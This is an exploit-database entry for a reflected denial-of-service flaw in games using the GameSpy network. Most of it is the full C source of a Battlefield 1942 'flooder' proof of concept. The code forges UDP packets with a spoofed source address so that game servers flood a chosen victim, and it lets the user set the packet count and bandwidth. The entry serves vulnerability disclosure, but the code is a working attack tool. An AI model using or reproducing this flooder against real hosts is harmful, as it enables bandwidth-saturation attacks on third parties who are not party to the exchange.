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Vulnerability in Games Supporting GameSpy Network - exploit.company
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Suggest Exploit
vendor:
GameSpy Network
by:
Mike Kristovich
5.5
CVSS
MEDIUM
Denial of Service (DoS)
400
CWE
Product Name: GameSpy Network
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE: a:gamespy:gamespy_network
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Vulnerability in Games Supporting GameSpy Network

A vulnerability has been reported in several games that support the use of the GameSpy network. The vulnerability allows a game server to respond with overly large responses to a simple query by a client, which can result in the saturation of available network bandwidth. This can be exploited to launch denial of service attacks against other hosts and networks.

Mitigation:

No known mitigation or remediation is available for this vulnerability.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/6636/info

A vulnerability has been reported for several games that support the use of the GameSpy network.

A game client typically queries a game server using the UDP protocol. It has been reported that a simple query by a client may result in a game server responding with overly large responses which may result in the saturation of available network bandwidth.

Exploitation of this issue may aid in launching denial of service attacks against other hosts and networks.

/************************************************************************/
/* Battlefield 1942 - All Versions flooder (proof-of-concept)   	*/
/*         by Mike Kristovich (mkristovich@pivx.com)			*/
/* 									*/
/* Filename: bf1942dos.c						*/
/* Location: http://www.pivx.com/kristovich/poc/bf1942dos.c		*/
/*  									*/
/* Proof-of-concept code for PivX Security Advisory MK#001		*/
/*  									*/
/* Linux version (MK-POC-001/1.0)					*/
/*  									*/
/* Description of code:							*/
/*  This exploit will spoof UDP packets from a source which you 	*/
/*  specify, to a Battlefield 1942 server.  The server will send	*/
/*  packets to the victim, regardless of victim status.			*/
/*									*/
/*									*/
/* This source has been tested and compiled on Linux.  			*/
/* This source is covered by the GNU GPL.				*/
/************************************************************************/
/* Thanks to Luigi for assistance with the code!			*/
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>


#define IPSZ		sizeof(struct iphdr)
#define UDPSZ		sizeof(struct udphdr)
#define DATASZ		sizeof(STRING) - 1
#define PSEUDOSZ	sizeof(struct pseudohdr)
#define BUFFSZ		100
#define SIZE		(IPSZ + UDPSZ + DATASZ)
#define STRING		"\\players\\status\\packets\\rules\\"
#define SRCPORT		1204
#define DSTPORT		230

u_short in_cksum(unsigned short *addr, int len);
u_long resolv(char *host);
void std_err(void);


struct pseudohdr {
	u_int32_t	saddr;
	u_int32_t	daddr;
	u_int8_t	zero;
	u_int8_t	protocol;
	u_int16_t	length;
} *pseudohdr;


int main(int argc, char *argv[]) {
 
	u_char	buff[BUFFSZ],
		pseudobuff[BUFFSZ],
		*data;
	struct	sockaddr_in 	peer;
	struct	iphdr	*iphdr;
	struct	udphdr	*udphdr;
	int	shandle,
		err;
	u_int32_t	source,
			dest;
	u_int16_t	sport,
			dport;

	int packetsent;
	int maxpackets;
	int pktdoubler;
	int bandwidth;

	printf("\r\n---------------------------------------------------\r\n");
	printf("      Game Server DoS  -  Proof-of-Concept\r\n");
	printf("   by Mike Kristovich, PivX Security Researcher\r\n");
	printf("= http://www.PivX.com :    : mkristovich@pivx.com =\r\n");
	printf("---------------------------------------------------\r\n");
	printf("= Advisory MK#001 :        : Battlefield 1942 DoS =\r\n");
	printf("---------------------------------------------------\r\n");



	setbuf(stdout, NULL);
	
	if(argc < 4)
	{
	  fprintf(stderr,"Usage: %s <IP_to_flood> <Server_IP> <kBps_to_use> <#_packets>\r\n",*argv);
	  printf(":: Options :: <victim_port[default 53]> <server_port[default 23000]>\r\n");
	  exit(1);
        };

	source = resolv(argv[1]);
	dest   = resolv(argv[2]);

	if (!argv[6])
          dport  = DSTPORT;
	else
	  dport  = atoi(argv[6]);
     
	if (!argv[5]) 
	   sport =  SRCPORT;
	else
	   sport  = atoi(argv[5]);
	

	printf("Sending packets to server ...");
 
	
	peer.sin_addr.s_addr = dest;
	peer.sin_port        = htons(dport);
	peer.sin_family      = AF_INET;

	iphdr     = (struct iphdr *)buff;
	udphdr    = (struct udphdr *)(buff + IPSZ);
	data      = (u_char *)(buff + IPSZ + UDPSZ);
	pseudohdr = (struct pseudohdr *)pseudobuff;

	/* build data */
	memcpy(data, STRING, DATASZ);

	/* build IP header */
	iphdr->ihl      = 5;
	iphdr->version  = 4;
	iphdr->tos      = 0x8;
	iphdr->tot_len  = SIZE;
	iphdr->id       = 156;
	iphdr->frag_off = 0;
	iphdr->ttl      = 128;
	iphdr->protocol = IPPROTO_UDP;
	iphdr->check    = 0;
	iphdr->saddr    = source;
	iphdr->daddr    = dest;

	/* build UDP header */
	udphdr->source = htons(sport);
	udphdr->dest   = htons(dport);
	udphdr->check  = 0;
	udphdr->len    = htons(UDPSZ + DATASZ);

	/* build pseudo header for calculate checksum (copy UDP header and data in it) */
	memcpy(pseudobuff + PSEUDOSZ, buff + IPSZ, UDPSZ + DATASZ);

	pseudohdr->saddr    = iphdr->saddr;
	pseudohdr->daddr    = iphdr->daddr;
	pseudohdr->zero     = 0;
	pseudohdr->protocol = IPPROTO_UDP;
	pseudohdr->length   = udphdr->len;

	udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ + DATASZ);

	/* send all */
	shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(shandle < 0) std_err();
	
	/* do kbps handling */

	/* set up max packets */
	maxpackets = atoi(argv[4]);
	/* set up packet-doubler bandwidth management */
	bandwidth = atoi(argv[3]);

	for (packetsent = 0; packetsent < maxpackets; packetsent++) {

	  for (pktdoubler = 0; pktdoubler < bandwidth; pktdoubler++) {
            err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
     	    if(err < 0) std_err();
	    packetsent++;
	  };
	    usleep(24000);
	
	};

	printf("\r\nSpoofed packets sent to Battlefield 1942 server.\r\n");
	close(shandle);

	return(0);
}


u_short in_cksum(unsigned short *addr, int len) {
        int	sum = 0;
        u_short	answer = 0;
        register	u_short *w = addr;
        register int	nleft = len;

        while(nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
        if(nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}


u_long resolv(char *host) {
	struct	hostent	*hp;
	u_long	host_ip;

	host_ip = inet_addr(host);
	if(host_ip == INADDR_NONE) {
		hp = gethostbyname(host);
		if(hp == 0) std_err();
		else host_ip = *(u_long *)(hp->h_addr);
	}

	return(host_ip);
}


void std_err(void) {
	perror("\nError");
	exit(1);
}